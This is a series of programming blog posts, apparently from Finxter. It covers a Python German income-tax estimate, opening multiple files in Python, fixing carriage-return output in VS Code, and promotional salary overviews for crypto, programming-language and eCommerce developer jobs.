Posted on Leave a comment

Python Program zur Berechnung der Deutschen Einkommensteuer

Rate this post

Das folgende Python Program implementiert eine einfache Faustformel zur Berechnung der Einkommensteuer in Deutschland:

def calc_tax(zvE): ''' Formula: https://www.finanz-tools.de/einkommensteuer/berechnung-formeln/2021 ''' if zvE <= 9744: return 0 elif zvE <= 14753: y = (zvE - 9744)/10000 return (995.21 * y + 1400) * y elif zvE <= 57918: z = (zvE - 14753)/10000 return (208.85 * z + 2397) * z + 950.96 elif zvE <= 274612: return 0.42 * zvE - 9136.63 else: return 0.45 * zvE - 17374.99

Hier ist ein einfaches Schaubild, dass das Verhältnis von zu versteuertem Einkommen (zvE) und der geschätzten Steuerlast darstellt:

Der folgende Python code wurde zur Berechnung dieses Schaubilds herangezogen:

import matplotlib.pyplot as plt max_income = 1*10**5
xs = list(range(0, max_income, 1000))
ys = [calc_tax(income) for income in xs] plt.plot(xs, ys)
plt.xlabel('Einnahmen (T€)')
plt.ylabel('Steuer (T€)')
plt.grid()
plt.title('Einkommensteuer in Deutschland')
plt.show()

Dies ist nur eine Heuristic von dieser Quelle—es scheint aber relativ korrekt zu sein (Größenordnung!). 🙂

Posted on Leave a comment

How to Open Multiple Files in Python

Rate this post

In this article, you’ll learn how to open multiple files in Python.

Problem Formulation and Solution Overview

💬 Question: How would we write Python code to open multiple files?

We can accomplish this task by one of the following options:

  • Method 1: Open Multiple Text Files using open()
  • Method 2:Open Multiple Text Files using open() and backslash (\)
  • Method 3: Open Multiple Text Files using Parenthesized Context Managers and open()
  • Method 4: Open Multiple Text Files using the os library and open()

To make it more fun, we have the following running scenario:

You have been contacted by the Finxter Academy to write code that opens multiple files and writes the contents from one file to another.


Preparation & Overview

If your script opens files, it is a good practice to check for errors, such as:

  • No Such File Or Directory
  • Not Readable
  • Not Writable

In this regard, all examples in this article will be wrapped in a try/except statement to catch these errors.

Contents of orig_file.txt

To follow along with this article, create orig_file.txt with the contents below and place it in the current working directory.

30022425,Oliver,Grandmaster,2476
30022437,Cindy,Intermediate,1569
30022450,Leon,Authority,1967

Add the following code to the top of each code snippet. This snippet will allow the code in this article to run error-free.

import logging

This allows us to log any error message that may occur when handling the files.


Method 1: Open Multiple Text Files with open()

This method opens multiple text files simultaneously on one line using the open() statement separated by the comma (,) character.

try: with open('orig_file.txt', 'r') as fp1, open('new_file.txt', 'w') as fp2: fp2.write(fp1.read())
except OSError as error: logging.error("This Error Occurred: %s", error)

This code snippet is wrapped in a try/except statement to catch errors. When this runs, it falls inside the try statement and executes as follows:

  • Opens two (2) text files on one line of code.
    • The file for reading, which contains a comma (,) character at the end to let Python know there is another file to open: open('orig_file.txt', 'r') as fp1
    • The second is for writing: open('new_file.txt', 'w') as fp2
  • Then, the entire contents of orig_file.txt writes to new_file.txt.

If an error occurs during the above process, the code falls to the except statement, which retrieves and outputs the error message to the terminal.

💡 Note: The strip() function removes any trailing space characters.
The newline character (\n) is added to place each iteration on its own line.

If successful, the contents of orig_file.txt and new_file.txt are identical.

Output of new_file.txt

30022425,Oliver,Grandmaster,2476
30022437,Cindy,Intermediate,1569
30022450,Leon,Authority,1967

Method 2: Open Files Across Multiple Lines with open() and Backslash (\)

Before Python version 3.10, and in use today, opening multiple files on one line could be awkward. To circumvent this, use the backslash (\) character as shown below to place the open() statements on separate lines.

try: with open('orig_file.txt', 'r') as fp1, \ open('new_file3.txt', 'w') as fp2: fp2.write(fp1.read())
except OSError as error: logging.error("This Error Occurred: %s", error)

This code snippet is wrapped in a try/except statement to catch errors. When this runs, it falls inside the try statement and executes as follows:

  • Opens the first file using open('orig_file.txt', 'r') for reading and contains a backslash (\) character to let Python know there is another file to open.
  • Opens the second file using open('new_file.txt', 'w') for writing.
  • Then, the entire contents of orig_file.txt writes to new_file.txt.

If an error occurs during the above process, the code falls to the except statement, which retrieves and outputs the error message to the terminal.

💡 Note: The strip() function removes any trailing space characters.
The newline character (\n) is added to place each iteration on its own line.

If successful, the contents of orig_file.txt and new_file.txt are identical.


Method 3: Open Multiple Text Files using Parenthesized Context Managers and open()

In Python version 3.10, Parenthesized Context Managers were added. This fixes a bug found in version 3.9, which did not support the use of parentheses across multiple lines of code. How Pythonic!

Here’s how they look in a short example:

try: with ( open('orig_file.txt', 'r') as fp1, open('new_file.txt', 'w') as fp2 ): fp2.write(fp1.read())
except OSError as error: logging.error("This Error Occurred: %s", error)

This code snippet is wrapped in a try/except statement to catch errors. When this runs, it falls inside the try statement and executes as follows:

  • Declare the opening of with and the opening bracket (with ()).
    • Opens orig_file.txt (open('orig_file.txt', 'r') as fp1,) for reading with a comma (,) to let Python know to expect another file.
    • Open new_file.txt (open('new_file.txt', 'w') as fp2) for writing.
  • Closes the with statement by using ):.
  • Then, the entire contents of orig_file.txt writes to new_file.txt.

If an error occurs during the above process, the code falls to the except statement, which retrieves and outputs the error message to the terminal.

If successful, the contents of orig_file.txt and new_file.txt are identical.


Method 4: Open Multiple Text Files using the os library and open()

This method calls in the os library (import os) which provides functionality to work with the Operating System. Specifically, for this example, file and folder manipulation.

import os os.chdir('files')
filelist = os.listdir(os.getcwd()) for i in filelist: try: with open(i, 'r') as f: for line in f.readlines(): print(line) except OSError as error: print('error %s', error) 

💡 Note: In this example, two (2) files are read in and output to the terminal.

This code snippet imports the os library to access the required functions.

For this example, we have two (2) text files located in our files directory:
file1.txt and file2.txt. To access and work with these files, we call os.chdir('files') to change to this folder (directory).

Next, we retrieve a list of all files residing in the current working directory
(os.listdir(os.getcwd()) and save the results to filelist.

IF we output the contents of filelist to the terminal, we would have the following: a list of all files in the current working directory in a List format.

['file1.txt', 'file2.txt']

This code snippet is wrapped in a try/except statement to catch errors. When this runs, it falls inside the try statement and executes as follows:

  • Instantiates a for loop to traverse through each file in the List and does the following:
    • Opens the current file for reading.
    • Reads in this file one line at a time and output to the terminal.

If an error occurs during the above process, the code falls to the except statement, which retrieves and outputs the error message to the terminal.

Output

The contents of the two (2) files are:

Contents of File1.
Contents of File2.

Summary

These four (4) methods of how to multiple files should give you enough information to select the best one for your coding requirements.

Good Luck & Happy Coding!


Programmer Humor

❓ Question: How did the programmer die in the shower? ☠

Answer: They read the shampoo bottle instructions:
Lather. Rinse. Repeat.

Posted on Leave a comment

[FIXED] Carriage return Not Working with Print in VS Code

Rate this post

FIX: To fix the carriage return now working issue in your IDE, you must directly use the terminal to execute the code instead of using the built-in output console provided by the IDE.

Problem Formulation

It is a common issue in many IDEs, including VS Code and PyCharm, wherein the carriage return character (‘\r’) does not work properly within the print statement.

Example: Consider the following code where we are attempting to overwrite the previous print to the same line:

import time
li = ['start', 'Processing result']
for i in range(len(li)): print(li[i], end='\r') time.sleep(2)
print(end='\x1b[2K') # ANSI sequence to clear the line where the cursor is located
print('Terminate')

Expected Output:

Actual Output: Unfortunately, when we execute this code in VS Code and run it in the OUTPUT console, this is how the output looks:

🛑 Thus, the actual output defeats the purpose of the code as the print statement displays the strings in new lines, which is exactly what we want to avoid.

Reason: The question here is – “Is the code wrong?” Well, there is no issue with our code. Let’s get to the root of the problem.

The OUTPUT console in VS Code exhibits a slightly different behavior than the standard output terminal. Some GUI-based IDEs don’t work properly for the Carriage return character (“\r“).  Hence, even though the code is correct, the output console of the IDE is not working properly for the carriage return within the print statement.

📌Highly Recommended Read: How to Overwrite the Previous Print to Stdout in Python?

Solution

The straightforward solution to this problem is to run the code in the standard output terminal instead of executing the code in the output console.

Note: If you are facing problems with buffering the output you can use the flush='True' parameter within the print statement as shown below.

import time
li = ['start', 'Processing result']
for i in range(len(li)): print(li[i], end='\r', flush=True) time.sleep(2)
print('Terminate')

Let’s dive into the different ways to execute the code in the terminal to get the desired output:

Method 1

  • Select Terminal
  • Select the PATH, which contains the .py script. In my case, it is: D:\VS Code Python Scripts. So this is the command to navigate to this path (in WINDOWS): cd 'D:\VS Code Python Scripts'
    • Note that I have used ' ' to enclose the path to avoid any command-line error because of the spacing in the filename.
  • Once you are at the specified Path, use the normal Python command to run your script: python same_line_print.py

Output:

Method 2

  • Right-click on the code
  • Select Run Python file Terminal

Method 3

If you are using the Code Runner Extension to run your code in VS Code:

  • Click on the  down arrow button just beside the Run button. A drop down menu appears.
  • Select Run Python File (Don’t select Run Code)

Solving the Issue in PyCharm

The same issue can be observed in the PyCharm IDE as well. The solution in this case is quite similar, i.e., run the code directly in the terminal.

  • Select Terminal
  • Type the normal Python command to execute the program:
    • python 'carriage return.py'

Conclusion

Thus, the bottom line is – Though the code is correct, it is the console of the IDE that misbehaves and obstructs the carriage return, which denies us the kind of output we want. Hence, the simple solution to this is to use the terminal to run your code from within the IDE.

Related Read: Best Python IDE and Code Editors [Ultimate Guide]

I hope this tutorial helped you. Please subscribe and stay tuned for more solutions and tutorials. Happy learning! 🙂


To become a PyCharm master, check out our full course on the Finxter Computer Science Academy available for free for all Finxter Premium Members:

Posted on Leave a comment

Top 9 Crypto Jobs for Coders in 2023

5/5 – (1 vote)

Blockchains penetrate into every single field in computer science. Fields such as borrowing, lending, web3, crypto gaming, NFTs, DAOs, trading — to mention just a few — experience a rapid growth in recent years.

Both developers and users flock to decentralized, open, permissionless protocols: Blockchains.

The exploding interest in Blockchain development brings opportunity to coders like you. Incomes in the field become more and more unreasonable.

If you’re idealistic and ambitious, and you like the ideas of decentralization & democratization, you’ll love the rapidly growing crypto field!

This article shows that many “traditional” job descriptions can easily be morphed into an exciting new “crypto job”. Get your job in crypto!

Blockchain Developer

Blockchain Engineer Definition: A blockchain engineer operates, designs, develops, analyzes, implements, and supports a distributed blockchain network. Blockchain engineers manage specific business models dealing with blockchain technology.


The average annual income of a Blockchain engineer is between $105,180 and $108,560 according to Glassdoor (source).

But is there enough demand? Let’s have a look at Google trends to find out how interest evolves over time (source):

But are clients actually searching for blockchain engineers? A simple analysis of the search volume for the term "hire blockchain" gives us the answer (source):

🌍 Learn More: Blockchain Developer — Income and Opportunity

Solidity Developer

A Solidity developer creates, edits, analyzes, and debugs code in the Solidity programming language used to develop smart contracts for modern Blockchain ecosystems such as Ethereum.

The average annual income of a Solidity Developer is between $60,000 and $180,000 with an average of $100,000 per year (source).

🌍 Learn More: Solidity Developer — Income and Opportunity

Crypto Bot Developer

Trading bots are software programs that talk directly to financial exchanges. Crypto trading bots are programs that talk to crypto exchanges.

A crypto bot developer develops those programs. Crypto trading bot developers tend to be very proficient in trading, financial algorithms, APIs, and web services.


The average annual income of a Crypto Trading Bot Developer is similar to algorithmic traders of $104,422 (source).

However, due to the novelty of the industry, there’s little official data. If you assume an hourly rate of $50 and an annual 2000 hours worked, the annual income of a crypto trading bot developer would be $100,000.


Do you want to become a Crypto Trading Bot Developer? Here’s a learning path I’d propose in five steps to get started:

🌍 Learn More: Crypto Bot Developer — Income and Opportunity

Web Developer

A web developer is a programmer who specializes in the development of websites or applications viewed on web browsers, mobile devices, and large desktop screens that are transported over private or public networks such as the Internet.

Web developers either work independently as freelancers or as employees for companies, government organizations, or non-profits.

Lately, many web developers have started to work for decentralized autonomous organizations (DAOs) in the crypto ecosystem due to their expertise in native web technologies and philosophies.

The average annual income of a Web Developer in the United States is between $68,732 and $110,438 with an average income of $88,054 and a median income of $90,000 per year according to our meta-study of 11 aggregated data sources such as Glassdoor and Indeed.

🌍 Learn More: Web Developer — Income and Opportunity

Security Engineer

A security engineer is a “white-hat hacker”, i.e., an IT professional who analyzes computer systems and computer networks to ensure they are running securely.

This involves proactive analysis and understanding of possible security threats and attack vectors and designing the system to minimize the exposure to these threats.

You need to understand networking, computer security systems, databases, HTTP, and web protocols, as well as an intimate understanding of distributed systems.

The average annual income of a Security Engineer in the United States is between $75,732 and $144,874, with an average of $108,851 and a statistical median of $105,928 per year.

This data is based on our meta-study of ten (10) salary aggregators sources such as Glassdoor, ZipRecruiter, and PayScale.

Source Average Income
Glassdoor.com $111,691
ZipRecruiter.com $120,708
Zippia.com $100,165
Talent.com $119,946
Salary.com $138,822
PayScale.com $95,953
Builtin.com $144,874
Indeed.com $75,732
Comparably.com $90,120
SalaryExplorer.com $90,500
Table: Average Income of a Security Engineer in the US by Source.

🌍 Learn More: Security Engineer — Income and Opportunity

Computer Science Researcher

A computer science researcher and scientist identifies and answers open research questions in computer science.

They apply scientific reasoning and research techniques to push the state-of-the-art forward in various fields such as machine learning, distributed systems, databases, algorithms, and data science.

And the crypto industry as one of the fastest-growing research areas—just visit one CS conference these days and you’ll find crypto everywhere!

The median annual income (=50th percentile) of a computer science researcher was $131,490 in May 2021. The bottom 10% (=10th percentile) of computer science researchers earned less than $74,210 and the top 10% (=90th percentile) earned more than $208,000.

🌍 Learn More: Computer Science Researcher — Income and Opportunity

Distributed Systems Developer

A distributed system is a computer system spread across multiple computing devices connected via a communication network. Each participating device takes over part of the overall work performed by the system. By means of the collaboration of individual units, the system can provide services that each individual system component couldn’t provide on its own.

Some examples of distributed systems are:

  • Ethereum is a distributed system of Ethereum nodes connected via the Internet and a specific communication protocol.
  • Bitcoin is a distributed system of Bitcoin nodes connected via the Internet and a specific communication protocol as defined by the open-source Bitcoin protocol.
  • The World Wide Web is a distributed system of servers connected via IP to provide a coherent web experience via browsers and an HTML-like web experience.
  • A Decentralized Autonomous Organization (DAO) is a distributed system of individuals that collaborate via a system written as a smart contract in a first-layer Blockchain such as Ethereum.

A distributed systems engineer designs, implements, and debugs distributed systems for data storage, crypto & web3, or analytics. The idea is to design a distributed system that can provide a service to users that couldn’t be provided by a centralized system (e.g., providing a decentralized, censorship-free monetary network).

The average annual income of a Distributed Systems Engineer in the United States is between $97,000 and $169,656, with an average of $126,894 and a statistical median of $130,000 per year.

Figure: Average Income of a Distributed Systems Engineer in the US by Source.

🌍 Learn More: Distributed Systems Developer — Income and Opportunity

JavaScript Developer

The average annual income of a JavaScript Developer is between $62,000 and $118,000 with an average of $84,000 per year according to Daxx.com and PayScale (source).

A JavaScript developer creates dynamic web applications focusing mostly on the front-end logic—but recently some back-end JavaScript frameworks emerged as well. If you like web development and programming user interfaces, you’ll love the work as a JavaScript developer.

The crypto industry is full of good old JavaScript developers — and many crypto frameworks such as web3.js are based on JavaScript.

🌍 Learn More: JavaScript Developer — Income and Opportunity

Quant Developer

A quantitative developer (i.e., Quant) is a financial programmer focused on financial modeling and quantitative finance and trading.

Quants use their profound knowledge of

  • statistics and math,
  • finance,
  • data structures,
  • algorithms,
  • machine learning,
  • scientific computing,
  • data science,
  • chart technique, and
  • data visualization

to create models for financial prediction, backtesting, analysis, and implementation of trading and financial applications (e.g., for risk management).

The expected annual income of a Quantitative Developer (Quant) in the United States is between $86,528 and $170,000 per year, with an average annual income of $127,375 per year and a median income of $136,321 per year.

🌍 Learn More: Quant Developer — Income and Opportunity

Conclusion

Many fields now incorporate Blockchains. Borrowing, lending, web3, NFTs, trading, and many more fields see a rapid growth in recent years—in developer and user interest alike.

The exploding interest in Blockchain development brings opportunity to coders like you. Incomes in the field are unreasonable.

And if you’re idealistic, you like decentralization and democratization, you’ll love the rapidly growing crypto field!

This article has shown that many “traditional” job descriptions can easily be morphed into an exciting new “crypto job”. Get your job in crypto!

Programmer Humor

“Real programmers set the universal constants at the start such that the universe evolves to contain the disk with the data they want.”xkcd
Posted on Leave a comment

21 Most Profitable Programming Languages in 2023

5/5 – (1 vote)

This article shows you the most profitable programming languages in the world. I compiled the average income of all programming languages and sorted them in a descending manner in the following table:

Job Description Annual Average Income
Erlang Developer $138,000
Haskell Developer $126,000
Go Developer $124,000
Scala Developer $119,000
Python Developer $114,000
Solidity Developer $107,000
R Developer $106,663
Java Developer $106,000
Swift Developer $103,750
Kotlin Developer $102,000
C Developer $100,000
.NET Developer $95,000
C++ Developer $95,000
C# Developer $94,000
HTML Developer $89,683
COBOL Developer $89,000
Dart Developer $87,820
JavaScript Developer $84,000
Julia Developer $76,735
Fortran Developer $76,409
Matlab Developer $73,000
PHP Developer $65,590
D Developer $58,000

Here are some interesting stats from this data:

  • Erlang is the most profitable programming language with an average income of $138,000 per year.
  • D is the least profitable programming language with an average income of $58,000 per year.
  • Python is the most profitable major programming language with an average income of $114,000 per year.
  • JavaScript is the least profitable major programming language with an average income of $84,000 per year.
  • The big “traditional” programming languages C++, C, Python, and Java are six-figure earners, on average.

Let’s dive into the programming languages from most to least profitable next!

Erlang

An Erlang developer uses the Erlang programming language to develop applications, often in the area of scalable real-time systems with high availability requirements.

Erlang is a network-heavy programming language used by telecommunication companies and banks, as well as messaging and communication companies. (Source)

The average annual income of an Erlang Developer is between $110,000 (25th percentile) and $166,500 (75th percentile) according to Ziprecruiter (source).

🌍 Read Full Article: Erlang Developer

Haskell

As a Haskell developer, you create and debug applications in the Haskell programming language. Haskell is a functional language with type inference and lazy evaluation. (Source)

The average annual income of a Haskell Developer is $126,000 according to PayScale (source). Glassdoor reports an annual income range from $40k to $155k (source).

🌍 Read Full Article: Haskell Developer

Go

A Golang developer uses the Go programming language to create software, design applications, advise clients about tools and frameworks, and test and debug Golang applications. (Source)

The average annual salary of a US-based Golang Developer ranges between $111,000 (25th percentile) and $147,000 (75th percentile) with top earners (90th percentile) earning $156,000 (source).

🌍 Read Full Article: Go Developer

Scala

A Scala developer designs, creates, optimizes, debugs, and maintains software applications in the Scala programming language.

Scala is used in data analysis, data processing, distributed computing, and web development. (Source)

The average annual income of a Scala Developer is $119,000 according to PayScale (source). Ziprecruiter even reports an annual average pay of $141,810 for Scala developers.

🌍 Read Full Article: Scala Developer

Python

A Python developer is a programmer who creates software in the Python programming language. Python developers are often involved in data science, web development, and machine learning applications. (Source)

An Python developer earns $65,000 (entry-level), $82,000 (mid-level), or $114,000 (experienced) per year in the US according to Indeed. (source)

Python developers can go into a number of different niches such as software engineers, data scientists, or data analysts. Each niche pays differently.

You can learn Python with our cheat sheets:

🌍 Read Full Article: Python Developer

Solidity

A Solidity developer creates, edits, analyzes, and debugs code in the Solidity programming language used to develop smart contracts for modern Blockchain ecosystems such as Ethereum.

The average annual income of a Solidity Developer is between $60,000 and $180,000 with an average of $100,000 per year (source).

The average annual income of a Blockchain engineer is between $105,180 and $108,560 according to Glassdoor (source).

Let’s have a look at Google trends to find out how interest evolves over time (source):

We have created an introductory course on Solidity if you’re interested in pursuing this opportunity further:

🌍 Read Full Article: Solidity Developer

R

An R developer creates, writes, edits, and debugs software code in the R programming language with a focus on data analysis, statistical computing, and modeling. (Source)

The income of an R Developer is $130,327 per year in the US according to Ziprecruiter (source) and $83,000 per year in the US according to PayScale. (source) The average of this reported income data is $106,663 per year.

The top 10 highest paying cities for R Developers are the following according to Ziprecruiter (source):

  1. San Mateo, CA ($167,537)
  2. Richmond, CA ($156,639)
  3. Stamford, CT ($152,526)
  4. Bellevue, WA ($152,161)
  5. Brooklyn, NY ($150,234)
  6. New Haven, CT ($148,903)
  7. San Francisco, CA ($148,053)
  8. Lakes, AK ($147,561)
  9. Brockton, MA ($147,399)
  10. Paterson, NJ ($146,166)

🌍 Read Full Article: R Developer

Java

A Java Developer developer creates, edits, analyzes, debugs, and supervises the development of software written in the Java programming language.

Java is a high-level language designed to be used by the Java Virtual Machine. It has very few external dependencies and can run on almost any physical machine.

For example, Java is used a lot in network architecture and also in embedded devices, kiosks, and other in situ computing applications. (Source)


The average annual income of a Java Developer is $106,000 per year in the US according to Indeed (source), $77,700 according to Payscale (source), and $96,000 according to Salary.com (source).

🌍 Read Full Article: Java Developer

Swift

Swift Developer Definition: A Swift developer is a programmer who creates software and mobile applications for the Swift programming language for iOS, iPadOS, macOS, tvOS, and watchOS. (Source)

The average annual income of a Swift Developer is between $93,000 (25th percentile) and $114,500 (75th percentile) according to Ziprecruiter (source).

🌍 Read Full Article: Swift Developer

Kotlin

A Kotlin Developer is an Android app programmer using the Kotlin programming language.

Kotlin is JVM compatible and, thus, fully compatible with Java. That’s why it’s often used as an alternative for Java when developing Android applications.

(Source)


The average annual income of a Kotlin Developer is $102,000 according to PayScale and averages between $113,000 to $147,000 per year according to Ziprecruiter.

Top earners can even expect to make $158,000 per year resulting in a monthly income of a staggering $13,208!

🌍 Read Full Article: Kotlin Developer

C

C Developers write, debug, analyze, or optimize code in the C programming language used in a wide variety of areas such as operating systems, embedded systems, or low-level implementations of high-level languages such as Node.js, Python, and Go. (Source)

The average annual income of a C Developer is between $82,000 (25th percentile) and $113,000 (75th percentile) with an average of $100,000 and a top income of $128,000 per year according to Ziprecruiter (source).

🌍 Read Full Article: C Developer

.NET

Let’s have a look at the definition from the official .NET website:

“.NET is a free, cross-platform, open source developer platform for building many different types of applications. With .NET, you can use multiple languages, editors, and libraries to build for web, mobile, desktop, games, and IoT.”

The average annual income of a .NET Developer in the United States is $95,000 per year according to Indeed (source). Top earners make $115,000 and more in the US!

Here’s an interesting overview of the income of .NET developers broken down by their skills—using multiple sources of the income data:

Glassdoor Talent.com PayScale
Average .NET developer income $95,029 $105,000 $71,452
Junior .NET developer income $64,070 $79,500 $65,405
Middle .NET developer income $83,121 $93,692 $79,383
Senior .NET developer income $110,731 $115,000 $101,175

Source

🌍 Read Full Article: .NET Developer

C++

As a C++ developer, you create software in the programming language C++ that is among the most widely used programming languages. For example, Google, Amazon, Facebook all employ a large number of C++ developers. (source)

The average annual income of a C++ Developer is between $45,000 and $140,000 according to PayScale with an average of $67,473 in the US based on 31 salary reports (source). But Indeed.com reports an even higher annual C++ developer income of $116,925 based on 480 salaries reported (source).

Do you want to become a C++ Developer?

Here’s a step-by-step learning path I’d propose to get started with C++:

🌍 Read Full Article: C++ Developer

C#

A C# (read as “see sharp”) developer creates software in the C# programming language. C# is a general-purpose, multi-paradigm programming language using static and strong typing, as well as a functional and object-oriented programming paradigm. (Source)

The average annual income of a C# Developer is $67,272 according to Payscale and $94,612 according to Ziprecruiter.

🌍 Read Full Article: C# Developer

HTML

As a web or HTML developer, you work on the front-end of a web application to create the visual user interface of a browser-based website.

All of them are built on top of HTML so there’s a massive and steadily-growing demand for HTML developers.

Many HTML developers work on a freelance basis for companies, organizations, and individuals that want to create a web representation. (Source)

A front-end web developer focuses on the graphical user interface (GUI) of the website using HTML, CSS, and JavaScript with the goal of setting up the whole technology stack to enable users to view and interact with the website.

  • HTML & CSS Developers make between $34,770 and $116,620 per year in the US with a median annual income of $64,970.
  • The average annual income of a Front-end Web Developer in the United States is between $61,194 and $119,224 with an average income of $89,683 and a median income of $90,499 per year according to our meta-study of 8 aggregated data sources such as Glassdoor and Indeed. (source)

🌍 Read Full Article: HTML Developer

COBOL

A COBOL developer creates, edits, debugs, analyzes, and optimizes applications written in the COBOL programming language. (Source)

But is there enough demand?

Let’s have a look at Google trends to find out how interest evolves over time (source):

However, COBOL developers are highly sought-after because many Fortune 500 companies still rely on old code bases that run with COBOL — and they are not willing to lose millions due to an interruption of their business so they’d pay almost any amount to fix bugs.

COBOL developer earn between $79,000 (25th percentile) and $100,000 (75th percentile) per year – with top earners (90th percentile) making $110,000 in the US according to Ziprecruiter (source). Salary.com reports an annual income of $68,669 to $86,151 as a COBOL developer (source).

🌍 Read Full Article: COBOL Developer

Dart

A Dart developer is a software developer using Google’s Dart programming language that is focused on developing web and mobile apps. (Source)


The average annual income of a Dart Developer is between $56,000 and $140,000 according to Ziprecruiter with an average of $87,820 per year.

If you decide to go the route as a freelance Dart Developer, you can expect to make between $25 and $50 per hour on Upwork (source).

Assuming an annual workload of 2000 hours, you can expect to make between $50,000 and $100,000 per year.

⭐ Note: Do you want to create your own thriving coding business online? Feel free to check out our freelance developer course — the world’s #1 best-selling freelance developer course that specifically shows you how to succeed on Upwork and Fiverr!

🌍 Read Full Article: Dart Developer

JavaScript

A JavaScript developer creates dynamic web applications focusing mostly on the front-end logic—but recently some back-end JavaScript frameworks emerged as well.

If you like web development and programming user interfaces, you’ll love the work as a JavaScript developer. (Source)

The average annual income of a JavaScript Developer is between $62,000 and $118,000 with an average of $84,000 per year according to Daxx.com and PayScale (source).

🌍 Read Full Article: JavaScript Developer

Julia

A Julia developer is a programmer creating applications in the Julia programming language.

Julia is a high-level, high-performance, dynamic programming language that is exceptionally suited for numerical analysis and computational science. (Source)


The average annual income of a Julia Developer is between $47,000 (25th percentile) and $199,500 (75th percentile) with an average of $76,735 per year according to Ziprecruiter (source).

🌍 Read Full Article: Julia Developer

Fortran

A FORTRAN Developer developer creates, edits, analyzes, debugs, and supervises the development of software written in the FORTRAN programming language.

Fortran first appeared in 1957 and is still used today to solve some of the most complicated problems in modern science and engineering. (Source)


The average annual income of a FORTRAN Developer is between $63,000 and $122,000 with an average of $76,409 per year in the US according to Payscale (source).

If you decide to go the route as a freelance FORTRAN Developer, you can expect to make between $30 and $80 per hour on Upwork (source). Assuming an annual workload of 2000 hours, you can expect to make between $60,000 and $160,000 per year.

🌍 Read Full Article: Fortran Developer

Matlab

Matlab developers create code in the Matlab programming language that is used for mathematical and scientific computations, data analysis, simulations, and machine learning. (Source)

The average annual income of a Matlab Developer is between $61,895 according to Glassdoor (source) and $84,591 according to Ziprecruiter (source) with top earners (90th percentile) making $135,000 and more.

🌍 Read Full Article: Matlab Developer

PHP

A PHP Developer specializes in designing, testing, debugging, and implementing software code in the PHP programming language — mainly used for server-side applications to serve dynamic web content. (Source)

The average annual income of a PHP Developer is $65,590 according to PayScale (source) ranging from $44k (10th percentile) to $97k (90th percentile).

🌍 Read Full Article: PHP Developer

D

A D or Dlang Developer developer creates, edits, analyzes, debugs, and supervises the development of software written in the D programming language.

Just as the C programming language came about because of deficiencies in the B programming language, D was designed to fix C.

In particular, D makes C object-oriented.

But unlike C++, which did the same thing, D is not backward compatible, and so doesn’t contain some of the weaknesses of C++. (Source)


The average annual income of a D Developer is between $30,000 and $150,500 according to PayScale with an average of $58,000 per year (source).

🌍 Read Full Article: D Developer

Conclusion

Every programming language has the potential to make you lots of money. You just need to join the top 20% of coders and you’ll make six figures easily.

However, some programming languages are inherently more attractive than others.

My secret tip is Solidity which is the programming language to use as a Blockchain engineer. This has hugely growing demand (I’ve never seen such a thing in programming) and many Blockchain engineers make $100 and up to $250 per hour!

Solidity Learn and Earn

The Finxter CS Academy has many Solidity courses in case you’re motivated to learn!

Where to Go From Here?

Enough theory. Let’s get some practice!

Coders get paid six figures and more because they can solve problems more effectively using machine intelligence and automation.

To become more successful in coding, solve more real problems for real people. That’s how you polish the skills you really need in practice. After all, what’s the use of learning theory that nobody ever needs?

You build high-value coding skills by working on practical coding projects!

Do you want to stop learning with toy projects and focus on practical code projects that earn you money and solve real problems for people?

🚀 If your answer is YES!, consider becoming a Python freelance developer! It’s the best way of approaching the task of improving your Python skills—even if you are a complete beginner.

If you just want to learn about the freelancing opportunity, feel free to watch my free webinar “How to Build Your High-Income Skill Python” and learn how I grew my coding business online and how you can, too—from the comfort of your own home.

Join the free webinar now!

Programmer Humor

Q: What is the object-oriented way to become wealthy?
💰 A: Inheritance.
Posted on Leave a comment

eCommerce Developer — Income and Opportunity

4.9/5 – (8 votes)

What is an eCommerce Developer?

eCommerce website developers create websites for online businesses on which customers can purchase electronic or physical goods. eCommerce developers are web developers with a special focus on the infrastructure technology around payments, product shipping, taxing, reporting, and tracking & increasing conversion.

What eCommerce Frameworks do eCommerce Developers Use?

These are the most common frameworks for eCommerce development:

  • Magento eCommerce Development
  • Shopify eCommerce Development
  • OpenCart eCommerce Development
  • PrestaShop eCommerce Development
  • BigCommerce eCommerce Development
  • WooCommerce eCommerce Development
  • Wix eCommerce Development
  • Sitebuilder eCommerce Development
  • Volusion eCommerce Development
  • Squarespace eCommerce Development
  • Webflow eCommerce Development
  • Shopware eCommerce Development
  • Ecwid eCommerce Development
  • Big Cartel eCommerce Development

A large fraction of eCommerce developers will focus on those frameworks.

What is the Annual Income of an eCommerce Developer in the US?

💬 Question: How much does an eCommerce Developer in the US make per year?

Average Income of an eCommerce Developer in the US by Source
Figure: Average Income of an eCommerce Developer in the US by Source. [1]

The expected annual income of an eCommerce Developer in the United States is between $59,475 and $109,000 per year, with an average annual income of $88,267 per year and a median income of $86,625 per year.

This data is based on our meta-study of 7 salary aggregators sources such as Glassdoor, ZipRecruiter, and PayScale.

Source Average Income
Glassdoor.com $86,625
ZipRecruiter.com $83,786
Talent.com $107,250
PayScale.com $59,475
Indeed.com $83,315
6figr.com $109,000
Salary.com $88,420
Table: Average Income of an eCommerce Developer in the US by Source.

🧑‍💻 Note: This is the most comprehensive salary meta-study of eCommerce developer income in the world, to the best of my knowledge!

Let’s have a look at the hourly rate of eCommerce Developers next!

What is the Hourly Rate of a Freelance eCommerce Developer?

eCommerce Developers are well-paid on freelancing platforms such as Upwork or Fiverr.

If you decide to go the route as a freelance eCommerce Developer, you can expect to make between $30 and $90 per hour on Upwork (source). Assuming an annual workload of 2000 hours, you can expect to make between $60,000 and $180,000 per year.

⚡ Note: Do you want to create your own thriving coding business online? Feel free to check out our freelance developer course — the world’s #1 best-selling freelance developer course that specifically shows you how to succeed on Upwork and Fiverr!

How Much Should I Charge as a Freelance eCommerce Developer?

  • ⭐ As a beginner eCommerce developer, you should charge $20-$30 per hour on freelancing platforms such as Upwork or Fiverr.
  • ⭐⭐ As an intermediate eCommerce developer, you should charge $30-$60 per hour on freelancing platforms such as Upwork or Fiverr.
  • ⭐⭐⭐ As an expert eCommerce developer, you should charge $60-$120 per hour on freelancing platforms such as Upwork or Fiverr.

Industry Demand

But is there enough demand? Let’s have a look at Google trends to find out how interest evolves over time (source):

Both keywords “eCommerce” and “eCommerce Developer” have seen significant growth in interest during the last two decades. The field is likely to grow in the next couple of decades, so the industry demand is very attractive.

What Skills Do I Need as an eCommerce Developer?

Figure: A skill you don’t need as an eCommerce developer.

These are the top 13 most important skills you should have as a successful eCommerce developer:

  1. Flexibility in mind and thinking—the field changes rapidly!
  2. Programming skills
  3. Understanding eCommerce frameworks such as Magento or Woocommerce
  4. Web development skills such as HTML, CSS, JavaScript
